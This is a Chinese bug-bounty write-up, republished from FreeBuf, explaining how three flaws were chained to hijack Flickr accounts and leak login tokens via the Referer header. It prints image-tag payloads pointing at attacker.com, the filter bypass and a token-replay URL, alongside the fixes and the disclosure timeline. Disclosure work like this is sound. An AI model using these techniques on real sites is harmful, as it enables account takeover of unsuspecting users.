看我如何综合利用3个安全问题成功劫持Flickr账户获得7千美元漏洞赏金

Flickr( flickr.com)为雅虎Yahoo旗下图片和视频分享平台,提供免费及付费数位照片视频储存、分享和线上社交应用服务。本文中作者通过身份认证参数控制、外部链接重定向和图片处理绕过3个安全问题的综合利用,最终成功实现劫持Flickr的目标账户权限。我们一起来看看:

在Flickr的用户登录验证过程中,将会向login.yahoo.com发起一个获取用户访问令牌(access token)的请求。

Flickr.com的登录认证机制

当用户点击Flickr.com的登录按钮之后,将会转向到以下Url链接:

该链接也是雅虎用户的登录认证页面,当完成登录表单填写和点击登录之后,用户将首先转向一个雅虎身份验证终端服务,如果验证信息有效,用户将转向以下Flickr Url页面:

与此同时,Flickr在后台开始对雅虎验证服务和用户登录产生的.ys和.data参数进行认证。

窃取Flickr.com用户登录令牌信息

思路分析

也就是说,如果用户已经处于雅虎服务端登录状态,那么点击以下初始链接之后:

数据流量只是发生在后台,而不需要往雅虎端输入身份验证信息,而这也就带来了账户被劫持的风险。因为事实上用户只需点击类似OAuth实现的单个链接实现身份认证。想通了这些之后,我尝试着想办法绕过该认证机制。

首先,我想到的是该链接中的第二个.done参数:

可以被控制,该参数实际负责的是登录令牌信息的发送。在此过程中,雅虎服务器只会对https://www.flickr.com/signin/yahoo/发起的登录请求进行验证,但我们可以向该链接中添加../符号进行测试,当向其中添加../../test请求.done值时,其.ys和.data参数令牌将被发送到https://www.flickr.com/test服务端。

所以,在此一种想法就油然而生,如果我们能从https://www.flickr.com/网站找到一个开放重定向(Open redirect)的突破口, 就能把认证令牌信息间接发送到我们自己架构的服务器端来。'

漏洞挖掘

经过一番研究之后,我发现了该页面:

https://www.flickr.com/html.gne?tighten=0&type=comment

它可以在不同Flickr页面的评论区中实现图片嵌入。我想如果通过这里向评论区中上传一个外部链接图片,其令牌信息就可以通过已经登录的引用字段(referrer field)泄露到我自己架构的服务器端来。为此,我用以下内容作为上传图片进行评论测试:

<img src=”https://attacker.com/someimage.jpg” />

该图片的确被嵌入到Flickr评论区,但是,雅虎却把其src值转义解析为以下链接:

https://ec.yimg.com/ec?url=https://attacker.com/someimage.jpg&t=1491136241&sig=FGQiNHDOtEj7LQDBbYBnwA–~C

这种转义应该是雅虎的一种内部请求代理在发生作用,它可以阻止向外部服务器泄露Flickr的请求信息。但是,如果使用一些浏览器攻击的奇技淫巧,是不是就能操控其Flickr的图片处理逻辑呢?比如,发送形如以下的图片评论内容:

<img src=”\/\/www.attacker.com/someimage.jpg” />

但遗憾的是,其内部请求代理不会转义处理该链接,其src值还是保持原样,并且Flickr评论区也不会把其显示为图片。经过研究,发现这是因为Flickr使用了网页内容安全防护策略(CSP,Content Security Policy),限定了来自以下域名的链接才是有效链接:

其img-src配置中的设定了白名单域名,因此,最终上传显示外部链接图片的目的失败了。

在了解了这些之后,我尝试着寻找其它允许评论的终端页面,发现Flickr其中一个论坛页面:

https://www.flickr.com/help/forum/en-us/

不但允许评论,貌似还没有配置CSP策略。因此,我在该论坛的某个话题之下加入了以下图片样式的评论内容:

<img src=”\/\/www.attacker.com/someimage.jpg” />

奏效了,其外部链接图片被嵌入到了这里:

https://www.flickr.com/help/forum/en-us/72157668446997150/page14/

所以,接下来我要做的就是构造形如以下的最终利用链接:

当用户点击了该链接之后,将会被重定向到:

https://www.flickr.com/help/forum/en-us/72157668446997150/page14?data={some-token}&.ys={second-token}

同时,用户浏览器将发出以下请求:

在其中的引用字段(Referer field)可以发现,用来进行身份验证的令牌信息会被发送给攻击者架构的域名服务器。所以,攻击者只需要做的就是,在他的浏览器中访问以下链接就能以受害者账户身份,悄无声息地登录进入网站!!

https://www.flickr.com/signin/yahoo/?.data={copied from referer}&.ys={copied from referer}

漏洞修补方法

漏洞上报给雅虎之后,他们采取了以下措施进行修补:

1 限制login.yahoo.com服务页面中的.done参数,只允许接收来自https://www.flickr.com/signin/yahoo/的有效值; 2 在图片嵌入处理逻辑中,禁止使用“/\/\”绕过方式; 3 在Flickr论坛中采用CSP策略。

漏洞上报进程

2017.4.2 通过Hackerone进行漏洞初报

2017.4.3 漏洞评估分类

2017.4.21 获得Yahoo方面7000$美元漏洞赏金奖励

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-05-12

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏性能与架构

Mysql 能像 MongoDB 那样存储文档了

Mysql 5.7.12 做出了一项重大改进:支持文档型存储,意味着在 Mysql 中就可以像 MongoDB 那样存储 JSON document 了 这项改...

4175
来自专栏Rainbond开源「容器云平台」

云帮社区版5月升级,全面支持后端服务高可用,修复了若干Bug

1393
来自专栏嵌入式程序猿

嵌入式工程师必须涨的姿势:云端访问

随着物联网,大数据,云端等热门技术的发展和带动越来越多的嵌入式开发产品需要加入新的功能,对嵌入式开发工程师的要求也越来越高,不懂点都不好意思混下去O(∩_∩...

38612
来自专栏IT米粉

MQ(消息队列)常见的应用场景解析

提高系统性能首先考虑的是数据库的优化,之前一篇文章《数据库的使用你可能忽略了这些》中有提到过开发中,针对数据库需要注意的事项。但是数据库因为历史原因,横向扩展是...

2492
来自专栏携程技术中心

开源 | 携程Redis多数据中心解决方案-XPipe

作者简介 孟文超,携程技术中心框架研发部高级经理。2016年加入携程,目前主要负责Redis多数据中心项目XPipe。此前曾在大众点评工作,任基础架构部门通信团...

53710
来自专栏开源项目

九张图读懂大型网站架构演化

最初始的网站架构 就像我们在自己电脑上搭建了一个论坛的网站,应用程序(例如Apache服务器)、数据库等都部署在我们自己的电脑上的。就可以正常运行了。 应用服务...

3669
来自专栏逸鹏说道

大公司都有哪些开源项目之网易

网易 NetEase https://github.com/netease 1.分布式TCP压力测试工具 tcpcopy tcpcopy是一种应用请求复制(基于...

3426
来自专栏youtube下载

免费youtube视频下载的3种方法

youtube是全球最大的视频网站之一, 深受国内外用户欢迎, 网站上有海量的视频, 从少儿节目到各种影视作品, 再到个人视频作品, 应有尽有, 不仅如此, 视...

10.3K17
来自专栏洞链

如何理解分布式与集群,二者区别是什么?

分布式是指不同的业务分布在不同的地方,集群指的是将几台服务器集中在一起,实现同一业务。 白话理解的话,比如公司项目上线初期(举例电子商务网站)

1473
来自专栏开源项目

码云推荐 | 运维脚本工具库 kjyw

快捷运维kjyw,运维脚本工具库,主要功能实现快速安装nginx、mysql、php、redis等,运维经常使用的脚本。 ? 项目简介 ? 快捷运维 kjyw,...

32810

扫码关注云+社区

领取腾讯云代金券